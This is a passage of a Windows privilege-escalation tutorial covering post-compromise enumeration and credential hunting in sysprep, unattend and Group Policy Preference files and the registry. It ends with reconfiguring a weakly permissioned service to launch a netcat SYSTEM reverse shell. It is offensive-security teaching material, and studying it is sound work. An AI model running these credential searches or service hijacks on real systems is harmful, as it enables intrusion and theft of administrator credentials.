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Fuzzysecurity window priv escalation
https://www.fuzzysecurity.com/tutorials/16.html
Δt for t0 to t3 - Initial Information Gathering
The starting point for this tutorial is an unprivileged shell on a box. We might have used a remote exploit or a client-side attack and we got a shell back. Basically at time t0 we have no understanding of the machine, what it does, what it is connected to, what level of privilege we have or even what operating system it is. Initially we will want to quickly gather some essential information so we can get a lay of the land and asses our situation. First let's find out what OS we are connected to:
C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
Next we will see what the hostname is of the box and what user we are connected as.
C:\Windows\system32> hostname
b33f
C:\Windows\system32> echo %username%
user1
Now we have this basic information we list the other user accounts on the box and view our own user's information in a bit more detail. We can already see that user1 is not part of the localgroup Administrators.
C:\Windows\system32> net users
User accounts for \\B33F
-------------------------------------------------------------------------------
Administrator b33f Guest
user1
The command completed successfully.
C:\Windows\system32> net user user1
User name user1
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/11/2014 7:47:14 PM
Password expires Never
Password changeable 1/11/2014 7:47:14 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/11/2014 8:05:09 PM
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
That is all we need to know about users and permissions for the moment. Next on our list is networking, what is the machine connected to and what rules does it impose on those connections. First let's have a look at the available network interfaces and routing table.
C:\Windows\system32> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : b33f
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-56-79-35
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
DNS Servers . . . . . . . . . . . : 192.168.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
C:\Windows\system32> route print
===========================================================================
Interface List
18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
1...........................Software Loopback Interface 1
16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.104 266
192.168.0.104 255.255.255.255 On-link 192.168.0.104 266
192.168.0.255 255.255.255.255 On-link 192.168.0.104 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.104 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.104 266
===========================================================================
Persistent Routes:
None
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
14 58 ::/0 On-link
1 306 ::1/128 On-link
14 58 2001::/32 On-link
14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::/64 On-link
14 306 fe80::/64 On-link
14 306 fe80::8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::5cd4:9caf:61c0:ba6e/128
On-link
1 306 ff00::/8 On-link
14 306 ff00::/8 On-link
11 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
# arp -A displays the ARP (Address Resolution Protocol) cache table for all available interfaces.
C:\Windows\system32> arp -A
Interface: 192.168.0.104 --- 0xb
Internet Address Physical Address Type
192.168.0.1 90-94-e4-c5-b0-46 dynamic
192.168.0.101 ac-22-0b-af-bb-43 dynamic
192.168.0.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
That brings us to the active network connections and the firewall rules.
C:\Windows\system32> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400
TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 684
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5357 [::]:0 LISTENING 4
UDP 0.0.0.0:5355 *:* 1100
UDP 0.0.0.0:52282 *:* 976
UDP 0.0.0.0:55202 *:* 2956
UDP 0.0.0.0:59797 *:* 1400
UDP 127.0.0.1:1900 *:* 2956
UDP 127.0.0.1:65435 *:* 2956
UDP 192.168.0.104:137 *:* 4
UDP 192.168.0.104:138 *:* 4
UDP 192.168.0.104:1900 *:* 2956
UDP 192.168.0.104:5353 *:* 1400
UDP 192.168.0.104:65434 *:* 2956
UDP [::]:5355 *:* 1100
UDP [::]:52281 *:* 976
UDP [::]:52283 *:* 976
UDP [::]:55203 *:* 2956
UDP [::]:59798 *:* 1400
UDP [::1]:1900 *:* 2956
UDP [::1]:5353 *:* 1400
UDP [::1]:65433 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956
# The following two netsh commands are examples of commands that are not universal across OS/SP. The netsh
firewall commands are only available from XP SP2 and upwards.
C:\Windows\system32> netsh firewall show state
Firewall status:
-------------------------------------------------------------------
Profile = Standard
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Group policy version = Windows Firewall
Remote admin mode = Disable
Ports currently open on all network interfaces:
Port Protocol Version Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.
C:\Windows\system32> netsh firewall show config
Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Allowed programs configuration for Domain profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Domain profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Service configuration for Standard profile:
Mode Customized Name
-------------------------------------------------------------------
Enable No Network Discovery
Allowed programs configuration for Standard profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Enable Inbound COMRaider / E:\comraider\comraider.exe
Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe
Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Standard profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Log configuration:
-------------------------------------------------------------------
File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size = 4096 KB
Dropped packets = Disable
Connections = Disable
Finally we will take a brief look at the what is running on the compromised box: scheduled tasks, running processes, started services and installed drivers.
# This will display verbose output for all scheduled tasks, below you can see sample output for a
single task.
C:\Windows\system32> schtasks /query /fo LIST /v
Folder: \Microsoft\Windows Defender
HostName: B33F
TaskName: \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time: 1/22/2014 5:11:13 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: N/A
Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
-WinTask -RestrictPrivilegesScan
Start In: N/A
Comment: Scheduled Scan
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 5:11:13 AM
Start Date: 1/1/2000
End Date: 1/1/2100
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
[..Snip..]
# The following command links running processes to started services.
C:\Windows\system32> tasklist /SVC
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
smss.exe 244 N/A
csrss.exe 332 N/A
csrss.exe 372 N/A
wininit.exe 380 N/A
winlogon.exe 428 N/A
services.exe 476 N/A
lsass.exe 484 SamSs
lsm.exe 496 N/A
svchost.exe 588 DcomLaunch, PlugPlay, Power
svchost.exe 668 RpcEptMapper, RpcSs
svchost.exe 760 Audiosrv, Dhcp, eventlog,
HomeGroupProvider, lmhosts, wscsvc
svchost.exe 800 AudioEndpointBuilder, CscService, Netman,
SysMain, TrkWks, UxSms, WdiSystemHost,
wudfsvc
svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
LanmanServer, MMCSS, ProfSvc, Schedule,
seclogon, SENS, ShellHWDetection, Themes,
Winmgmt, wuauserv
audiodg.exe 916 N/A
svchost.exe 992 EventSystem, fdPHost, netprofm, nsi,
WdiServiceHost, WinHttpAutoProxySvc
svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc
spoolsv.exe 1244 Spooler
svchost.exe 1272 BFE, DPS, MpsSvc
mDNSResponder.exe 1400 Bonjour Service
taskhost.exe 1504 N/A
taskeng.exe 1556 N/A
vmtoolsd.exe 1580 VMTools
dwm.exe 1660 N/A
explorer.exe 1668 N/A
vmware-usbarbitrator.exe 1768 VMUSBArbService
TPAutoConnSvc.exe 1712 TPAutoConnSvc
[..Snip..]
C:\Windows\system32> net start
These Windows services are started:
Application Experience
Application Information
Background Intelligent Transfer Service
Base Filtering Engine
Bluetooth Support Service
Bonjour Service
COM+ Event System
COM+ System Application
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Diagnostic System Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Function Discovery Provider Host
Function Discovery Resource Publication
Group Policy Client
[..Snip..]
# This can be useful sometimes as some 3rd party drivers, even by reputable companies, contain more holes
than Swiss cheese. This is only possible because ring0 exploitation lies outside most peoples expertise.
C:\Windows\system32> DRIVERQUERY
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM
ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM
AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM
adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM
adpahci adpahci Kernel 5/2/2007 1:29:26 AM
adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM
AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM
agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM
aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM
aliide aliide Kernel 7/14/2009 7:11:17 AM
amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM
amdide amdide Kernel 7/14/2009 7:11:19 AM
AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM
AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM
amdsata amdsata Kernel 3/19/2010 9:08:27 AM
amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM
amdxata amdxata Kernel 3/20/2010 12:19:01 AM
AppID AppID Driver Kernel 11/20/2010 5:29:48 PM
arc arc Kernel 5/25/2007 5:31:06 AM
[..Snip..]
Δt for t4 - The Arcane Arts Of WMIC
I want to mention WMIC (Windows Management Instrumentation Command-Line) separately as it is Windows most useful command line tool. WIMIC can be very practical for information gathering and post-exploitation. That being said it is a bit clunky and the output leaves much to be desired for. Fully explaining the use of WMIC would take a tutorial all of it's own. Not to mention that some of the output would be difficult to display due to the formatting. I have listed two resources below that are well worth reading on the subject matter: Command-Line Ninjitsu (SynJunkie) - here Windows WMIC Command Line (ComputerHope) - here Unfortunately some default configurations of windows do not allow access to WMIC unless the user is in the Administrators group (which is probably a really good idea). From my testing with VM's I noticed that any version of XP did not allow access to WMIC from a low privileged account. Contrary, default installations of Windows 7 Professional and Windows 8 Enterprise allowed low privilege users to use WMIC and query the operating system without modifying any settings. This is exactly what we need as we are using WMIC to gather information about the target machine. To give you an idea about the extensive options that WMIC has I have listed the available command line switches below.
C:\Windows\system32> wmic /?
[global switches]
The following global switches are available:
/NAMESPACE Path for the namespace the alias operate against.
/ROLE Path for the role containing the alias definitions.
/NODE Servers the alias will operate against.
/IMPLEVEL Client impersonation level.
/AUTHLEVEL Client authentication level.
/LOCALE Language id the client should use.
/PRIVILEGES Enable or disable all privileges.
/TRACE Outputs debugging information to stderr.
/RECORD Logs all input commands and output.
/INTERACTIVE Sets or resets the interactive mode.
/FAILFAST Sets or resets the FailFast mode.
/USER User to be used during the session.
/PASSWORD Password to be used for session login.
/OUTPUT Specifies the mode for output redirection.
/APPEND Specifies the mode for output redirection.
/AGGREGATE Sets or resets aggregate mode.
/AUTHORITY Specifies the for the connection.
/?[:<BRIEF|FULL>] Usage information.
For more information on a specific global switch, type: switch-name /?
The following alias/es are available in the current role:
ALIAS - Access to the aliases available on the local system
BASEBOARD - Base board (also known as a motherboard or system board) management.
BIOS - Basic input/output services (BIOS) management.
BOOTCONFIG - Boot configuration management.
CDROM - CD-ROM management.
COMPUTERSYSTEM - Computer system management.
CPU - CPU management.
CSPRODUCT - Computer system product information from SMBIOS.
DATAFILE - DataFile Management.
DCOMAPP - DCOM Application management.
DESKTOP - User's Desktop management.
DESKTOPMONITOR - Desktop Monitor management.
DEVICEMEMORYADDRESS - Device memory addresses management.
DISKDRIVE - Physical disk drive management.
DISKQUOTA - Disk space usage for NTFS volumes.
DMACHANNEL - Direct memory access (DMA) channel management.
ENVIRONMENT - System environment settings management.
FSDIR - Filesystem directory entry management.
GROUP - Group account management.
IDECONTROLLER - IDE Controller management.
IRQ - Interrupt request line (IRQ) management.
JOB - Provides access to the jobs scheduled using the schedule service.
LOADORDER - Management of system services that define execution dependencies.
LOGICALDISK - Local storage device management.
LOGON - LOGON Sessions.
MEMCACHE - Cache memory management.
MEMORYCHIP - Memory chip information.
MEMPHYSICAL - Computer system's physical memory management.
NETCLIENT - Network Client management.
NETLOGIN - Network login information (of a particular user) management.
NETPROTOCOL - Protocols (and their network characteristics) management.
NETUSE - Active network connection management.
NIC - Network Interface Controller (NIC) management.
NICCONFIG - Network adapter management.
NTDOMAIN - NT Domain management.
NTEVENT - Entries in the NT Event Log.
NTEVENTLOG - NT eventlog file management.
ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board).
OS - Installed Operating System/s management.
PAGEFILE - Virtual memory file swapping management.
PAGEFILESET - Page file settings management.
PARTITION - Management of partitioned areas of a physical disk.
PORT - I/O port management.
PORTCONNECTOR - Physical connection ports management.
PRINTER - Printer device management.
PRINTERCONFIG - Printer device configuration management.
PRINTJOB - Print job management.
PROCESS - Process management.
PRODUCT - Installation package task management.
QFE - Quick Fix Engineering.
QUOTASETTING - Setting information for disk quotas on a volume.
RDACCOUNT - Remote Desktop connection permission management.
RDNIC - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS - Permissions to a specific Remote Desktop connection.
RDTOGGLE - Turning Remote Desktop listener on or off remotely.
RECOVEROS - Information that will be gathered from memory when the operating system fails.
REGISTRY - Computer system registry management.
SCSICONTROLLER - SCSI Controller management.
SERVER - Server information management.
SERVICE - Service application management.
SHADOWCOPY - Shadow copy management.
SHADOWSTORAGE - Shadow copy storage area management.
SHARE - Shared resource management.
SOFTWAREELEMENT - Management of the elements of a software product installed on a system.
SOFTWAREFEATURE - Management of software product subsets of SoftwareElement.
SOUNDDEV - Sound Device management.
STARTUP - Management of commands that run automatically when users log onto the computer
system.
SYSACCOUNT - System account management.
SYSDRIVER - Management of the system driver for a base service.
SYSTEMENCLOSURE - Physical system enclosure management.
SYSTEMSLOT - Management of physical connection points including ports, slots and
peripherals, and proprietary connections points.
TAPEDRIVE - Tape drive management.
TEMPERATURE - Data management of a temperature sensor (electronic thermometer).
TIMEZONE - Time zone data management.
UPS - Uninterruptible power supply (UPS) management.
USERACCOUNT - User account management.
VOLTAGE - Voltage sensor (electronic voltmeter) data management.
VOLUME - Local storage volume management.
VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA - Per user storage volume quota management.
WMISET - WMI service operational parameters management.
For more information on a specific alias, type: alias /?
CLASS - Escapes to full WMI schema.
PATH - Escapes to full WMI object paths.
CONTEXT - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.
For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?
To simplify things I have created a script which can be dropped on the target machine and which will use WMIC to extract the following information: processes, services, user accounts, user groups, network interfaces, Hard Drive information, Network Share information, installed Windows patches, programs that run at startup, list of installed software, information about the operating system and timezone. I have gone through the various flags and parameters to extract the valuable pieces of information if anyone thinks of something that should be added to the list please leave a comment below. Using the built-in output features the script will write all results to a human readable html file. You can download my script (wmic_info.bat) - here Sample output file on a Windows 7 VM (badly patched) - here
Δt for t5 to t6 - Quick Fails
Before continuing on you should take a moment to review the information that you have gathered so far as there should be quite a bit by now. The next step in our gameplan is to look for some quick security fails which can be easily leveraged to upgrade our user privileges. The first and most obvious thing we need to look at is the patchlevel. There is no need to worry ourself further if we see that the host is badly patched. My WMIC script will already list all the installed patches but you can see the sample command line output below.
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013
http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013
http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013
http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013
http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013
http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013
http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013
http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013
http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013
http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013
http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013
http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013
http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013
http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013
http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013
http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013
http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013
http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013
http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013
[..Snip..]
As always with Windows, the output isn't exactly ready for use. The best strategy is to look for privilege escalation exploits and look up their respective KB patch numbers. Such exploits include, but are not limited to, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799). After enumerating the OS version and Service Pack you should find out which privilege escalation vulnerabilities could be present. Using the KB patch numbers you can grep the installed patches to see if any are missing. You can see the syntax to grep the patches below:
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."
Next we will have a look at mass rollouts. If there is an environment where many machines need to be installed, typically, a technician will not go around from machine to machine. There are a couple of solutions to install machines automatically. What these methods are and how they work is less important for our purposes but the main thing is that they leave behind configuration files which are used for the installation process. These configuration files contain a lot of sensitive sensitive information such as the operating system product key and Administrator password. What we are most interested in is the Admin password as we can use that to elevate our privileges. Typically these are the directories that contain the configuration files (however it is a good idea to check the entire OS): c:\sysprep.inf c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml These files either contain clear-text passwords or in a Base64 encoded format. You can see some sample file output below.
# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
# Sample from Unattended.xml with the same "secure" Base64 encoding.
<AutoLogon>
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>
On the recommendation of Ben Campbell (@Meatballs__) I'm adding Group Policy Preference saved passwords to the list of quick fails. GPO preference files can be used to create local users on domain machines. When the box you compromise is connected to a domain it is well worth looking for the Groups.xml file which is stored in SYSVOL. Any authenticated user will have read access to this file. The password in the xml file is "obscured" from the casual user by encrypting it with AES, I say obscured because the static key is published on the msdn website allowing for easy decryption of the stored value.
Could not load image
In addition to Groups.xml several other policy preference files can have the optional "cPassword" attribute set: Services\Services.xml: Element-Specific Attributes ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element Printers\Printers.xml: SharedPrinter Element Drives\Drives.xml: Element-Specific Attributes DataSources\DataSources.xml: Element-Specific Attributes
This vulnerability can be exploited by manually browsing SYSVOL and grabbing the relevant files as demonstrated below.
Could not load image
However we all like automated solutions so we can get to the finish line as quickly as possible. There are two main options here, depending on the kind of shell/access that we have. There is (1) a metasploit module which can be executed through an established session here or (2) you can use Get-GPPPassword which is part of PowerSploit. PowerSploit is an excellent powershell framework, by Matt Graeber, tailored to reverse engineering, forensics and pentesting.
The next thing we will look for is a strange registry setting "AlwaysInstallElevated", if this setting is enabled it allows users of any privilege level to install *.msi files as NT AUTHORITY\SYSTEM. It seems like a strange idea to me that you would create low privilege users (to restrict their use of the OS) but give them the ability to install programs as SYSTEM. For more background reading on this issue you can have a look here at an article by Parvez from GreyHatHacker who originally reported this as a security concern. To be able to use this we need to check that two registry keys are set, if that is the case we can pop a SYSTEM shell. You can see the sytntax to query the respective registry keys below.
# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.
C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
To finish off this section we will do some quick searching on the operating system and hope we strike gold. You can see the syntax for our searches below.
# The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.
C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*
# Search certain file types for a keyword, this can generate a lot of output.
C:\Windows\system32> findstr /si password *.xml *.ini *.txt
# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".
C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s
Δt for t7 to t10 - Roll Up Your Sleeves
Hopefully by now we already have a SYSTEM shell but if we don't there are still a few avenues of attack left to peruse. In this final part we will look at Windows services and file/folder permissions. Our goal here is to use weak permissions to elevate our session privileges. We will be checking a lot of access rights so we should grab a copy of accesschk.exe which is a tool from Microsoft's Sysinternals Suite. Microsoft Sysinternals contains a lot of excellent tools, it's a shame that Microsoft hasn't added them to the standard Windows build. You can download the suite from Microsoft technet here. We will start off with Windows services as there are some quick wins to be found there. Generally modern operating systems won't contain vulnerable services. Vulnerable, in this case, means that we can reconfigure the service parameters. Windows services are kind of like application shortcut's, have a look at the example below.
# We can use sc to query, configure and manage windows services.
C:\Windows\system32> sc qc Spooler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe
LOAD_ORDER_GROUP : SpoolerGroup
TAG : 0
DISPLAY_NAME : Print Spooler
DEPENDENCIES : RPCSS
: http
SERVICE_START_NAME : LocalSystem
We can check the required privilege level for each service using accesschk.
# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list
all services.
C:\> accesschk.exe -ucqv Spooler
Spooler
R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
Accesschk can automatically check if we have write access to a Windows service with a certain user level. Generally as a low privilege user we will want to check for "Authenticated Users". Make sure to check which user groups you user belongs to, "Power Users" for example is considered a low privilege user group (though it is not widely used). Lets compare the output on Windows 8 and on Windows XP SP0.
# This is on Windows 8.
C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.
# On a default Windows XP SP0 we can see there is a pretty big security fail.
C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
This issue was later resolved with the introduction of XP SP2, however on SP0&SP1 it can be used as a universal local privilege escalation vulnerability. By reconfiguring the service we can let it run any binary of our choosing with SYSTEM level privileges. Let's have a look how this is done in practise. In this case the service will execute netcat and open a reverse shell with SYSTEM level privileges. Other options are certainly possible.
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
